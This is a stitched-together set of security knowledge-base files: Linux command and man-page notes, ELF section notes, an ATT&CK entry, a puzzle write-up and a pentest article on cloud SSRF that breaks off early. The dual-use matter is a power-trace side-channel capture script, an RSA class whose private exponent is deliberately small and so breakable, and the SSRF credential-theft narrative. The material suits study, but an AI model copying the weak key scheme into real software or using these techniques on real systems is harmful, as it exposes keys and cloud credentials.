\fBglibc\fR(GNU C Library) NSS(Name Service Switch) 插件, 提供了解析本地配置的系统主机名的功能。 所谓"本地配置的系统主机名"其实就是
\fBgethostname\fR(2)
函数的返回值。 该模块的解析规则如下:
.sp
.RS 4
.ie n \{\
\h'-04'\(bu\h'+03'\c
.\}
.el \{\
.sp -1
.IP \(bu 2.3
.\}
本机的主机名 将会被解析为所有本地IP地址,并按照他们所属的 scope 排序。 如果 scope 不存在,则会被解析为本地回环接口上的 IPv4 127\&.0\&.0\&.2 以及 IPv6 ::1
.RE
.sp
.RS 4
.ie n \{\
\h'-04'\(bu\h'+03'\c
.\}
.el \{\
.sp -1
.IP \(bu 2.3
.\}
"localhost"
与
"localhost\&.localdomain"
以及所有以
"\&.localhost"
或
"\&.localhost\&.localdomain"
结尾的主机名, 都会被解析为 127\&.0\&.0\&.1 与 ::1
.RE
.sp
.RS 4
.ie n \{\
\h'-04'\(bu\h'+03'\c
.\}
.el \{\
.sp -1
.IP \(bu 2.3
.\}
"gateway"
会被 解析为当前所有的默认网关地址, 并按照地址的数字顺序排序。 这样就为当前网关分配了一个固定的主机名, 从而可以让应用程序在不关心网络配置的情况下,直接引用网关。
.RE
.PP
许多软件依赖于存在一个可以永远被解析的本地主机名。 当使用动态主机名的时候, 传统的做法是在主机名发生变化的同时修改
/etc/hosts
文件。 这种做法的缺点在于要求
/etc
目录必须是可写的, 而且有可能在修改
/etc/hosts
文件的同时, 系统管理员也正在编辑它。启用
\fBnss\-myhostname\fR
之后, 就可以不必修改
/etc/hosts
文件。更进一步, 在许多系统上甚至无需存在这个文件。
.PP
要激活NSS模块,可将
"myhostname"
添加到
/etc/nsswitch\&.conf
文件中以
"hosts:"
开头的行里面。
.PP
建议将
"myhostname"
放置在
nsswitch\&.conf
文件中以
"hosts:"
开头的行的末尾,以确保优先使用传统的基于DNS与
/etc/hosts
文件的解析方法。
.SH "例子"
.PP
下面是一个正确开启了
\fBnss\-myhostname\fR
插件的
/etc/nsswitch\&.conf
文件的例子:
.sp
.if n \{\
.RS 4
.\}
.nf
passwd: compat mymachines
group: compat mymachines
shadow: compat
hosts: files mymachines resolve \fBmyhostname\fR
networks: files
protocols: db files
services: db files
ethers: db files
rpc: db files
netgroup: nis
.fi
.if n \{\
.RE
.\}
.PP
可以使用
\fBglibc\fR
软件包中的
\fBgetent\fR
工具检查配置的有效性:
.sp
.if n \{\
.RS 4
.\}
.nf
$ getent ahosts `hostname`
::1 STREAM omega
::1 DGRAM
::1 RAW
127\&.0\&.0\&.2 STREAM
127\&.0\&.0\&.2 DGRAM
127\&.0\&.0\&.2 RAW
.fi
.if n \{\
.RE
.\}
.PP
本例中的本地主机名是
\fIomega\fR
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBnss-resolve\fR(8),
\fBnss-mymachines\fR(8),
\fBnsswitch.conf\fR(5),
\fBgetent\fR(1)
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
### Sections概述
节区包含目标文件中除了 ELF 头部、程序头部表、节区头部表的所有信息。节区满足以下条件
- 每个节区都有对应的节头来描述它。但是反过来,节区头部并不一定会对应着一个节区。
- 每个节区在目标文件中是连续的,但是大小可能为 0。
- 任意两个节区不能重叠,即一个字节不能同时存在于两个节区中。
- 目标文件中可能会有闲置空间(inactive space),各种头和节不一定会覆盖到目标文件中的所有字节,**闲置区域的内容未指定**。
许多在 ELF 文件中的节都是预定义的,它们包含程序和控制信息。这些节被操作系统使用,但是对于不同的操作系统,同一节区可能会有不同的类型以及属性。
可执行文件是由链接器将一些单独的目标文件以及库文件链接起来而得到的。其中,链接器会解析引用(不同文件中的子例程的引用以及数据的引用,调整对象文件中的绝对引用)并且重定位指令。加载与链接过程需要目标文件中的信息,并且会将处理后的信息存储在一些特定的节区中,比如 `.dynamic` 。
每一种操作系统都会支持一组链接模型,但这些模型都大致可以分为两种
| 类型 | 描述 |
| -------- | ------------------------------------------------------------ |
| 静态链接 | 静态链接的文件中所使用的库文件或者第三方库都被静态绑定了,其引用已经被解析了。 |
| 动态链接 | 动态链接的文件中所使用的库文件或者第三方库只是单纯地被链接到可执行文件中。当可执行文件执行时使用到相应函数时,相应的函数地址才会被解析。 |
有一些特殊的节可以支持调试,比如说 .debug 以及 .line 节;支持程序控制的节有 .bss,.data, .data1, .rodata, .rodata1。
| 名称 | 类型 | 属性 | 含义 |
| :-------- | :----------- | :------------------- | :----------------------------------------------------------- |
| .comment | SHT_PROGBITS | | 包含版本控制信息。 |
| .debug | SHT_PROGBITS | | 此节区包含用于符号调试的信息。 |
| .dynamic | SHT_DYNAMIC | SHF_ALLOC SHF_WRITE | 此节区包含动态链接信息。SHF_WRITE 位设置与否是否被设置取决于具体的处理器。 |
| .dynstr | SHT_STRTAB | SHF_ALLOC | 此节区包含用于动态链接的字符串,大多数 情况下这些字符串代表了与符号表项相关的名称。 |
| .dynsym | SHT_DYNSYM | SHF_ALLOC | 此节区包含动态链接符号表。 |
| .got | SHT_PROGBITS | | 此节区包含全局偏移表。 |
| .line | SHT_PROGBITS | | 此节区包含符号调试的行号信息,描述了源程序与机器指令之间的对应关系,其内容是未定义的。 |
| .plt | SHT_PROGBITS | | 此节区包含过程链接表(procedure linkage table)。 |
| .relname | SHT_REL | | 这些节区中包含重定位信息。如果文件中包含可加载的段,段中有重定位内容,节区的属性将包含SHF_ALLOC位,否则该位置 0。传统上 name 根据重定位所适用的节区给定。例如 .text 节区的重定位节区名字将是:.rel.text 或者 .rela.text。 |
| .relaname | SHT_RELA | | |
| .shstrtab | SHT_STRTAB | | 此节区包含节区名称。 |
注意:
- 以 “.” 开头的节区名称是系统保留的,当然应用程序也可以使用这些节区。为了避免与系统节区冲突,应用程序应该尽量使用没有前缀的节区名称。
- 目标文件格式允许定义不在上述列表中的节区,可以包含多个名字相同的节区。
- 保留给处理器体系结构的节区名称一般命名规则为:处理器体系结构名称简写+ 节区名称。其中,处理器名称应该与 e_machine 中使用的名称相同。例如 .FOO.psect 节区是 FOO 体系结构中的 psect 节区。
这里我们主要以链接视图中的分类即段类型进行介绍,同时也会加上自己的一些简单分类。
|
sec-knowleage
|
mkinitrd
===
建立要载入ramdisk的映像文件
## 补充说明
**mkinitrd命令** 建立要载入ramdisk的映像文件,以供Linux开机时载入ramdisk。
这个是重新封包核心的命令,例如你自己修改了一个设备的驱动,如果这个驱动要加入核心级别的话,就需要对核心进行重新封包,把新加的配置编译到核心内部去!
### 语法
```shell
mkinitrd(选项)(参数)
```
### 选项
```shell
-f:若指定的映像问家名称与现有文件重复,则覆盖现有的文件;
-v:执行时显示详细的信息;
--omit-scsi-modules:不要载入SCSI模块;
--preload=<模块名称>:指定要载入的模块;
--with=<模块名称>:指定要载入的模块;
--version:显示版本信息。
```
### 参数
* 映像文件:指定要创建的映像文件;
* 内核版本:指定内核版本。
### 实例
```shell
[root@localhost tmp]# mkinitrd -v -f myinitrd.img $(uname -r)
Creating initramfs
WARNING: using /tmp for temporary files
Looking for deps of module ide-disk
Looking for deps of module ext3 jbd
Looking for deps of module jbd
Using modules: ./kernel/fs/jbd/jbd.ko ./kernel/fs/ext3/ext3.ko
/sbin/nash -> /tmp/initrd.Vz3928/bin/nash
/sbin/insmod.static -> /tmp/initrd.Vz3928/bin/insmod
/sbin/udev.static -> /tmp/initrd.Vz3928/sbin/udev
/etc/udev/udev.conf -> /tmp/initrd.Vz3928/etc/udev/udev.conf
copy from /lib/modules/2.6.9-5.EL/./kernel/fs/jbd/jbd.ko(elf32-i386) to /tmp/initrd.Vz3928/lib/jbd.ko(elf32-i386)
copy from /lib/modules/2.6.9-5.EL/./kernel/fs/ext3/ext3.ko(elf32-i386) to /tmp/initrd.Vz3928/lib/ext3.ko(elf32-i386)
Loading module jbd
Loading module ext3
[root@localhost tmp]# file myinitrd.img
myinitrd.img: gzip compressed data, from Unix, max compression
[root@localhost tmp]# mv myinitrd.img myinitrd.img.gz
[root@localhost tmp]# gzip -d myinitrd.img.gz
[root@localhost tmp]# file myinitrd.img
myinitrd.img: ASCII cpio archive (SVR4 with no CRC)
```
|
sec-knowleage
|
import subprocess
import serial, sys
import time, random
import matplotlib.pyplot as plt
import numpy as np
def enc(e):
s = serial.Serial("/dev/ttyUSB0", 115200, timeout = 2)
stuff = "\xae" + e + "\n"
s.write(stuff)
rd = s.read(18)
print repr(stuff), repr(rd)
assert rd == stuff
return s.read(16)
def wait(p, t):
t0 = time.time()
while time.time() - t0 < t:
if p.poll() is not None:
return
time.sleep(0.1)
raise Exception("Timeout")
def parse_sigrok(fname):
def get(line):
f = float(line.split()[1])
if "mV" in line:
return f/1e3
return f
data = open(fname).readlines()[1:-1]
return [get(line) for line in data]
def save_sample(f, inp):
p = subprocess.Popen(["sigrok-cli", "--driver", "rigol-ds", "--frames", "1",
"-o", "/tmp/test", "-C", "CH1", "-O", "analog", "-c", "data_source=Memory"])
time.sleep(1)
out = enc(inp)
s = inp.encode("hex") + "\n" + out.encode("hex") + "\n"
print s
wait(p, 30)
data = parse_sigrok("/tmp/test")
s += ",".join(str(x) for x in data) + "\n"
f.write(s)
f.flush()
def save_traces(fname, inputs, outputs, traces):
with open(fname, "w") as f:
for i, o, t in zip(inputs, outputs, traces):
i = "".join(chr(c) for c in i)
o = "".join(chr(c) for c in o)
s = i.encode("hex") + "\n" + o.encode("hex") + "\n"
s += ",".join(str(x) for x in t) + "\n"
f.write(s)
f.flush()
def parse(fname, n=999999, left=None, right=None):
with open(fname) as f:
inputs, outputs, traces = [], [], []
for i, line in enumerate(f.xreadlines()):
if i % 3 == 0:
inputs.append([ord(c) for c in line.strip().decode("hex")])
elif i % 3 == 1:
outputs.append([ord(c) for c in line.strip().decode("hex")])
else:
traces.append([float(c) for c in line.split(",")])
if left is not None:
traces[-1] = traces[-1][left:right]
if len(traces) == n:
break
traces = np.array(traces)
return inputs, outputs, traces
def show_traces(traces):
for t in traces:
plt.plot(t)
plt.show()
def show_red_green(red, green):
for t in red:
plt.plot(t, "r")
for t in green:
plt.plot(t, "g")
plt.show()
def normalize(traces):
for t in traces:
t -= np.mean(t)
t /= np.std(t)
def smooth(traces, r):
for i, t in enumerate(traces):
traces[i] = np.convolve(t, np.ones(r))[:len(t)]
def align(traces, shifts, verbose=True, max_shift=None):
t0 = traces[0]
res = [0]
for i in range(1, len(traces)):
if verbose:
print i, "/", len(traces), "-",
trace = traces[i]
best, bests = 1e18, -1
for shift in shifts:
if shift < 0:
diff = t0[-shift:] - trace[:shift]
elif shift == 0:
diff = t0 - trace
else:
diff = t0[:-shift] - trace[shift:]
s = np.mean(diff**2)
if s < best:
best, bests = s, shift
if verbose:
print bests
res.append(bests)
resx = res[:]
mn = min(res)
res = [s - mn for s in res]
for i in range(len(traces)):
shifted = traces[i][res[i]:]
zeros = np.zeros(res[i])
shifted = np.concatenate((shifted, zeros))
traces[i] = shifted
if max_shift is not None:
traces = traces[[i for i in range(len(traces)) if abs(resx[i]) < max_shift]]
return traces
|
sec-knowleage
|
[剑指 Offer 题解](https://github.com/CyC2018/CS-Notes/blob/master/notes/%E5%89%91%E6%8C%87%20Offer%20%E9%A2%98%E8%A7%A3%20-%20%E7%9B%AE%E5%BD%95.md)
|
sec-knowleage
|
# T1608-001-阶段性能力-上传恶意软件
## 来自ATT&CK的描述
攻击者可能会将恶意软件上传到第三方或攻击者控制的基础设施上,使其在攻击目标期间可以访问。恶意软件可以包括有效载荷、诱饵、后渗透工具、后门和其他各种恶意程序。攻击者可能会上传恶意软件以支持他们的行动,例如将有效载荷放在互联网可访问的网络服务器上,使受害者网络可以使用入侵工具传输。
恶意软件可能被放置在以前被攻击者购买或租用的基础设施上(购买基础设施)或被他们破坏的基础设施(盗取基础设施)。恶意软件也可以放在网络服务上,如GitHub或Pastebin。
攻击者可能会将备份文件,如应用程序二进制文件、虚拟机图像或容器图像,上传到第三方软件商店或存储库(例如:GitHub、CNET、AWS社区AMI、Docker Hub)。偶然的机会,目标组织人员可能会通过用户执行直接下载或安装这些被反屏蔽的文件。巧妙的伪装可能会增加用户错误地执行这些文件的机会。
## 测试案例
暂无
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
### 缓解措施
这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。
### 检测
这种活动大多发生在目标组织的能见度之外,使得检测这种行为变得困难。检测工作可能集中在攻击生命周期的破坏后阶段,如用户执行或入侵工具转移。
## 相关TIP
[[T1608-002-阶段性能力-上传工具]]
[[T1608-003-阶段性能力-安装数字证书]]
[[T1608-004-阶段性能力-Drive-by Target]]
[[T1608-005-阶段性能力-Link Target]]
## 参考推荐
MITRE-ATT&CK-T1608-001
<https://attack.mitre.org/techniques/T1608/001/>
|
sec-knowleage
|
<div dir="rtl">
<h1>חידת אגף התקשוב וההגנה בסייבר - סוכות התשפ"ג</h1>
<p>
לרגל חג הסוכות פרסם אגף התקשוב וההגנה בסייבר חידה קצרה. נראה כאן את הפתרון שלה. על החידה עבדתי יחד עם קבוצה של גולשים בדיסקורד.
</p>
<h2>תיאור</h2>
<p>
כדי לקבל את הרמז הבא - אל תמצמצו לרגע:
<br/>
מאחורי 15 השניות האלו מסתתרת אחת החידות הקשות בצה"ל
<br/>
מה הקשר בין המספר 64, דובי ופרתנון? בבית הספר למקצועות המחשב בנו חידה מיוחדת שתאתגר את המוחות היצירתיים ביותר. קל זה לא יהיה - טוב שיש לכם 7 ימים לשבת על זה בסוכה
<br/>
<br/>
מערכת אתר צה"ל | 06.10.22
</p>
[](https://www.youtube.com/watch?v=iHkJE0vxdbI)
<p>
כותרת הדף הכילה את התמונה הבאה:
</p>

<h2>פתרון</h2>
<h3>התמונה בכותרת</h3>
<p>
לפני שאנחנו צוללים אל הסרטון, יש לנו המון נתונים בתמונה שבכותרת. נעבור על הכל בזריזות.
</p>
<ul>
<li>תמונה של פסל של יוליוס קיסר, מוקפת בטקסט שמורכב אך ורק מהספרות 6 ו-4</li>
<li>הלוגו של אגף התקשוב וההגנה בסייבר, גם הוא מוקף בטקסט דומה</li>
<li>גיטרה</li>
<li>כספת מסתתרת מאחורי תמונה (של כספת)</li>
<li>הטקסט xfHl</li>
<li>עמוד בסגנון יווני</li>
</ul>
<h3>הסרטון</h3>
<p>
נצפה בסרטון. הוא מכיל, בגדול, את הדברים הבאים:
</p>
<ul>
<li>חיילים בסביבה ממוחשבת</li>
<li>שרידי מבנים מיוון העתיקה</li>
<li>קטעים מתוך סדרת הטלוויזיה "מראה שחורה"</li>
<li>כספת מסתתרת מאחורי תמונה (של כספת)</li>
<li>גיטריסט מנגן את Hail Caesar של ACDC</li>
<li>מישהי שמסמנת "שקט"</li>
</ul>
<p>
בזמן הצפייה בסרטון, אפשר לראות הבזק של הכיתוב https. הרמז אמר לא למצמץ לרגע, לכן כדאי לעבור על הסרטון פריים-אחרי-פריים ולחפש מסרים נסתרים נוספים. אפשר לחלץ את הפריימים של הסרטון באמצעות הפקודות הבאות:
</p>
<pre dir="ltr">
$ youtube-dl -F https://www.youtube.com/watch?v=iHkJE0vxdbI
[youtube] iHkJE0vxdbI: Downloading webpage
[youtube] iHkJE0vxdbI: Downloading MPD manifest
[info] Available formats for iHkJE0vxdbI:
format code extension resolution note
...
22 mp4 1280x720 720p 1880k , avc1.64001F, 25fps, mp4a.40.2 (44100Hz) (best)
$ youtube-dl -f 22 https://www.youtube.com/watch?v=iHkJE0vxdbI
[youtube] iHkJE0vxdbI: Downloading webpage
[youtube] iHkJE0vxdbI: Downloading MPD manifest
[download] Destination: iHkJE0vxdbI.mp4
[download] 100% of 3.52MiB in 00:45
$ ffmpeg -i iHkJE0vxdbI.mp4 '%04d.png'
...
</pre>
<p>
נעבור על הפריימים ונמצא את הכיתובים הבאים:
</p>



<p>
יחד, הם מפנים לכתובת הבאה:
</p>
<pre>
https://ibb.co/3CkxfH1
</pre>
<h3>ה-Meme</h3>
<p>
נבקר בכתובת ונקבל את התמונה הבאה:
</p>

<p>
התמונה מכילה את הכיתוב:
</p>
<pre>
fff.rmo.ru/q4yyh_5dtt0c
</pre>
נפעיל על כך את צופן קיסר (ROT13) עם היסט של 17 ונקבל:
<pre>
www.idf.il/h4ppy_5ukk0t
</pre>
<h3>המסך הכחול</h3>
<p>
הגענו לדף חדש:
</p>
```
<div class=image-slider-wrap>
<div class=image-slider>
<div class=item-slide>
<a href="/media/ymrg0k5j/bluescreenoflife-2.png?optimize=false" target=_blank download class=download-image>
<img src="/images/ico-download-small.png" class=img-fluid alt="הורד תמונה"/>
</a>
<a href="/media/ymrg0k5j/bluescreenoflife-2.png" class=image-link>
<img src="/media/ymrg0k5j/bluescreenoflife-2.png?anchor=center&mode=crop&width=590&rnd=133092824826500000" alt="" class=img-fluid>
</a>
</div>
</div>
</div>
<div class=text-wrapper>
<p><strong>ז וכרים את החידה הקודמת?</strong></p>
<p><strong>י פה, מכאן, עליכם לחשוב על הקנקן.</strong></p>
<p><strong>פ ה עליכם להסתכל על מה שבתוכו.</strong></p>
</div>
```
<p>
הדף הכיל את התמונה הבאה:
</p>

<p>
שימו לב כיצד האות הראשונה של כל משפט מופרדת משאר המשפט על מנת ליצור את המילה "זיפ". מעיון בקוד המקור של הדף, אפשר לראות שישנן מספר כתובות המקשרות אל התמונה. אם משלבים ביניהן וניגשים ל-https://www.idf.il/media/ymrg0k5j/bluescreenoflife-2.png?optimize=false&rnd=133092824826500000 מקבלים קובץ שמכיל הפתעה:
</p>
<pre dir="ltr">
$ binwalk bluescreenoflife-2.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
13467 0x349B Zip archive data, at least v2.0 to extract, compressed size: 498799, uncompressed size: 546086, name: secret/QR.png
512309 0x7D135 Zip archive data, at least v2.0 to extract, compressed size: 110, uncompressed size: 172, name: secret/riddle.txt
512588 0x7D24C End of Zip archive, footer length: 22
</pre>
<h3>קובץ ה-Zip</h3>
<p>
קובץ ה-Zip הכיל שני קבצים. הראשון, חידה:
</p>
<pre>
חג מולד לבן, מוזיאון שחור.
היוונים כבר הענישו בצורה הזאת.
איך אומר הזר שצריך לדמיין את הגיבור?
</pre>
<p>
השני, קובץ QR:
</p>

<p>
קוד ה-QR הכיל טקסט מקודד ב-Base64 עם איחולים וכתובת מייל. מה לגבי החידה?
</p>
<p>
ובכן, "חג מולד לבן" ו"מוזיאון שחור" הם רפרנסים לפרקים של "מראה שחורה" שגם הופיעו בסרטון:
</p>
<ul>
<li><a href="https://en.wikipedia.org/wiki/White_Christmas_(Black_Mirror)">White Christmas</a></li>
<li><a href="https://en.wikipedia.org/wiki/Black_Museum_(Black_Mirror)">Black Museum</a></li>
</ul>
<p>
לפי הקטעים בסרטון, בשני המקרים מדובר על תודעה של בני אדם שמועברת בצורה דיגיטלית לעצם כלשהו. ב"חג מולד לבן" מדובר בשיבוט דיגיטלי של מישהי שנאלצת לשמש בתור "עוזרת אישית" של הבעלים שלה, וב"מוזיאון שחור" במישהי שתודעתה מועברת לבובת קוף שמסוגל להביע אך ורק שני רגשות. ישנם לא מעט עונשים במיתולוגיה היוונית, אך אולי הכוונה לסיזיפוס שנאלץ לגלגל סלע ענק במעלה הר, רק כדי לצפות בו מתגלגל חזרה מטה. אחת היצירות המפורסמות אודות סיזיפוס נקראת "המיתוס של סיזיפוס", מאת הסופר אלבר קאמי שפרסם גם רומן בשם "הזר". את הפרק האחרון של הספר הוא מסיים במשפט "יש לחשוב על סיזיפוס שמח" ("One must imagine Sisyphus happy"). ומצד שני, קצת מלנכולי בשביל חידת סוכות, לא?
</p>
<h3>חזרה לתמונת הכותרת</h3>
<p>
ננסה לסכם את הרמזים בתמונת הכותרת.
</p>
<ul>
<li>תמונה של פסל של יוליוס קיסר, מוקפת בטקסט שמורכב אך ורק מהספרות 6 ו-4 - השתמשנו בצופן קיסר ובקידוד Base64 (לא היה שימוש בטקסט עצמו?)</li>
<li>הלוגו של אגף התקשוב וההגנה בסייבר, גם הוא מוקף בטקסט דומה</li>
<li>גיטרה - השיר של ACDC</li>
<li>כספת מסתתרת מאחורי תמונה (של כספת) - קובץ ה-Zip שהסתתר בתמונה הכחולה</li>
<li>הטקסט xfHl - הסיפא של הכתובת של ה-Meme</li>
<li>עמוד בסגנון יווני - החלק בסרטון שהתחיל את הכתובת של ה-Meme</li>
</ul>
<h2>תודות</h2>
<p>
תודה לחברי הקבוצה בדיסקורד שהשתתפו בפתרון החידה: StormZ, nat, Shibolet, Omer Esco, SpOOky_L, Floyd1337, NoamS, IMaestro, nktfh100, ariel5912, Bobo, bonfire.
</p>
<h2>קישורים</h2>
<ul>
<li><a href="https://www.idf.il/%D7%90%D7%AA%D7%A8%D7%99-%D7%99%D7%97%D7%99%D7%93%D7%95%D7%AA/%D7%90%D7%92%D7%A3-%D7%94%D7%AA%D7%A7%D7%A9%D7%95%D7%91-%D7%95%D7%94%D7%94%D7%92%D7%A0%D7%94-%D7%91%D7%A1%D7%91-%D7%A8/%D7%9B%D7%9C-%D7%94%D7%9B%D7%AA%D7%91%D7%95%D7%AA/2022/%D7%97%D7%99%D7%93%D7%AA-%D7%AA%D7%A7%D7%A9%D7%95%D7%91-%D7%A1%D7%A8%D7%98%D7%95%D7%9F-%D7%90%D7%A1%D7%A7%D7%99%D7%99%D7%A4-%D7%A8%D7%95%D7%9D-%D7%91%D7%A1%D7%9E%D7%97-%D7%9E%D7%97%D7%A9%D7%91-%D7%A6%D7%95%D7%A4%D7%9F-%D7%A7%D7%95%D7%93-%D7%A1%D7%95%D7%9B%D7%95%D7%AA/">החידה באתר צה"ל</a></li>
<li><a href="https://www.ynet.co.il/news/article/skdki8nzj">כתבה ב-YNet</a></li>
<li><a href="https://www.idf.il/%D7%90%D7%AA%D7%A8%D7%99-%D7%99%D7%97%D7%99%D7%93%D7%95%D7%AA/%D7%90%D7%92%D7%A3-%D7%94%D7%AA%D7%A7%D7%A9%D7%95%D7%91-%D7%95%D7%94%D7%94%D7%92%D7%A0%D7%94-%D7%91%D7%A1%D7%91-%D7%A8/%D7%9B%D7%9C-%D7%94%D7%9B%D7%AA%D7%91%D7%95%D7%AA/2022/%D7%97%D7%99%D7%93%D7%AA-%D7%AA%D7%A7%D7%A9%D7%95%D7%91-%D7%91%D7%A1%D7%9E-%D7%97-%D7%A1%D7%A8%D7%98%D7%95%D7%9F-%D7%A8%D7%9E%D7%96%D7%99%D7%9D-%D7%A4%D7%AA%D7%A8%D7%95%D7%A0%D7%95%D7%AA-%D7%9E%D7%97%D7%A9%D7%91-%D7%A7%D7%95%D7%93-%D7%A6%D7%95%D7%A4%D7%9F-%D7%99%D7%95%D7%95%D7%A0%D7%99%D7%9D-%D7%A1%D7%99%D7%96%D7%99%D7%A4%D7%95%D7%A1-%D7%A7%D7%99%D7%A1%D7%A8/">הפתרון הרשמי</a></li>
</ul>
</div>
|
sec-knowleage
|
"""
https://github.com/drduh/macOS-Security-and-Privacy-Guide/blob/master/launchd/read_launch_plists.py
Reads macOS system launch daemon and agent property lists.
"""
import glob
import hashlib
import os
import plistlib
import subprocess
import csv
HEADER = "filename,label,program,sha256,runatload,comment"
PLIST_LOCATION = "/System/Library/Launch%s/*.plist"
PLIST_TYPES = ["Daemons", "Agents"]
def LoadPlist(filename):
"""Returns plists read with plistlib."""
try:
proc = subprocess.Popen(
["/usr/bin/plutil", "-convert", "xml1", "-o", "-", filename],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out_data, err_data = proc.communicate()
except IOError as io_error:
print(io_error, err_data)
if proc.returncode == 0:
return plistlib.readPlistFromString(out_data)
return None
def GetPlistValue(plist, value):
"""Returns the value of a plist dictionary, or False."""
try:
return plist[value]
except KeyError:
return False
def GetProgram(plist):
"""Returns a plist's Program or ProgramArguments key and hash."""
try:
return "['%s']" % plist["Program"], HashFile(plist["Program"])
except KeyError:
try:
return plist["ProgramArguments"], HashFile(plist["ProgramArguments"])
except KeyError:
return ("NO PROGRAM DEFINED", "UNKNOWN FILE HASH")
return None
def HashFile(filename):
"""Returns SHA-256 hash of a given file."""
if isinstance(filename, list):
filename = filename[0]
try:
return hashlib.sha256(
open(filename, "rb").read()).hexdigest()
except IOError:
return "UNKNOWN FILE HASH"
def GetComment(plist, comments):
"""Get comment for a given property list."""
try:
label = plist["Label"]
except KeyError:
return None
if label in comments:
return comments[label]
return None
def main():
"""Main function."""
print(HEADER)
comments_file = os.path.join(
os.path.dirname(os.path.realpath(__file__)), "comments.csv")
with open(comments_file, "rb") as c_file:
reader = csv.reader(c_file)
comments = {rows[0]:rows[1] for rows in reader}
for ptype in PLIST_TYPES:
for filename in glob.glob(PLIST_LOCATION % ptype):
prop = LoadPlist(filename)
if prop:
print("%s,%s,%s,%s,%s" % (
filename,
GetPlistValue(prop, "Label"),
'"%s",%s' % GetProgram(prop),
GetPlistValue(prop, "RunAtLoad"),
'"%s"' % GetComment(prop, comments)))
else:
print("Could not load %s" % filename)
if __name__ == "__main__":
main()
|
sec-knowleage
|
#!/usr/bin/env python3
from Crypto.Util import number
from binascii import hexlify, unhexlify
from gmpy2 import next_prime, powmod, gcdext, gcd
from itertools import count
from random import randint
class MPRSA(object):
def __init__(self):
self.public_key = None
self.secret_key = None
def key_gen(self, bits, prime_numbers=4):
delta = randint(5, 15)
bit_prime = int(bits // prime_numbers)
P = [next_prime(number.getPrime(bit_prime) + 1)]
for i in range(1, prime_numbers):
P.append(next_prime(P[i - 1] * delta))
n = self.__compute_module(P)
phi = self.__compute_phi(P)
for d_next in count(int(pow(P[0] // 2, 0.5)), -1):
g, e, __ = gcdext(d_next, phi)
if (1 < e < n) and (g == 1) and (gcd(phi, e) == 1):
d = d_next
break
self.public_key = (e, n)
self.secret_key = (d, n)
def import_keys(self, public_key, secret_key):
self.public_key = public_key
self.secret_key = secret_key
def export_keys(self):
return self.public_key, self.secret_key
@staticmethod
def __compute_module(primes):
n = 1
for prime in primes:
n *= prime
return n
@staticmethod
def __compute_phi(primes):
phi = 1
for prime in primes:
phi *= (prime - 1)
return phi
@staticmethod
def __encode_message(data):
return int(hexlify(data), 16)
@staticmethod
def __decode_message(data):
return unhexlify(format(data, "x"))
def encryption(self, ptext):
data = self.__encode_message(ptext)
return powmod(data, self.public_key[0], self.public_key[1])
def decryption(self, ctext):
data = powmod(ctext, self.secret_key[0], self.secret_key[1])
return MPRSA.__decode_message(data)
|
sec-knowleage
|
lnstat
===
显示Linux系统的网路状态
## 补充说明
**lnstat命令** 用来显示Linux系统的网路状态。
### 语法
```shell
lnstat(选项)
```
### 选项
```shell
-h:显示帮助信息;
-V:显示指令版本信息;
-c:指定显示网络状态的次数,每隔一定时间显示一次网络状态;
-d:显示可用的文件或关键字;
-i:指定两次显示网络状的间隔秒数;
-k:只显示给定的关键字;
-s:是否显示标题头;
-w:指定每个字段所占的宽度。
```
|
sec-knowleage
|
# 68. 树中两个节点的最低公共祖先
## 68.1 二叉查找树
### 题目链接
[Leetcode : 235. Lowest Common Ancestor of a Binary Search Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/description/)
### 解题思路
在二叉查找树中,两个节点 p, q 的公共祖先 root 满足 root.val \>= p.val && root.val \<= q.val。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/047faac4-a368-4565-8331-2b66253080d3.jpg" width="250"/> </div><br>
```java
public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
if (root == null)
return root;
if (root.val > p.val && root.val > q.val)
return lowestCommonAncestor(root.left, p, q);
if (root.val < p.val && root.val < q.val)
return lowestCommonAncestor(root.right, p, q);
return root;
}
```
## 68.2 普通二叉树
### 题目链接
[Leetcode : 236. Lowest Common Ancestor of a Binary Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree/description/)
### 解题思路
在左右子树中查找是否存在 p 或者 q,如果 p 和 q 分别在两个子树中,那么就说明根节点就是最低公共祖先。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/d27c99f0-7881-4f2d-9675-c75cbdee3acd.jpg" width="250"/> </div><br>
```java
public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
if (root == null || root == p || root == q)
return root;
TreeNode left = lowestCommonAncestor(root.left, p, q);
TreeNode right = lowestCommonAncestor(root.right, p, q);
return left == null ? right : right == null ? left : root;
}
```
|
sec-knowleage
|
---
title: 我用 CF 打穿了他的云上内网
---
<center><h1>我用 CF 打穿了他的云上内网</h1></center>
---
::: warning 注意
该文章适用于 CF v0.2.4 版本,该文中的命令在新版本中有些许变动,请以使用手册里的命令为准。
:::
## 0x00 前言
最近在做项目的时候,测到了一个部署在云上的存在 Laravel UEditor SSRF 漏洞的站点,并且发现这个 SSRF 漏洞可以读取到临时凭证,这不巧了,正好最近写了一个云环境利用的工具。
开始之前这里先简单介绍一下这个工具,CF 是这个工具的名字,通过它可以很方便的进行云上内网渗透,比如一键在所有实例上执行命令、一键接管控制台、一键列出云服务资源等等。
项目地址:[https://github.com/teamssix/cf](https://github.com/teamssix/cf)
使用手册:[https://wiki.teamssix.com/cf](https://wiki.teamssix.com/cf)
十分建议在使用 CF 的时候,边使用边参考 CF 的使用手册,发现 CF 更多功能,那话不多说,下面咱们就开始吧。
## 0x01 打点,但,是云环境
一开始还是信息收集,首先通过指纹扫描发现在目标范围内的一个站点使用了 Laravel 框架,接着测试发现该站点存在 Laravel UEditor SSRF 漏洞。
这里的 SSRF 漏洞触发点在 UEditor 编辑器的上传图片功能中,下面我们尝试让服务器从 https://baidu.com?.jpg 获取图片。
<img width="1000" src="/img/1657632559.png">
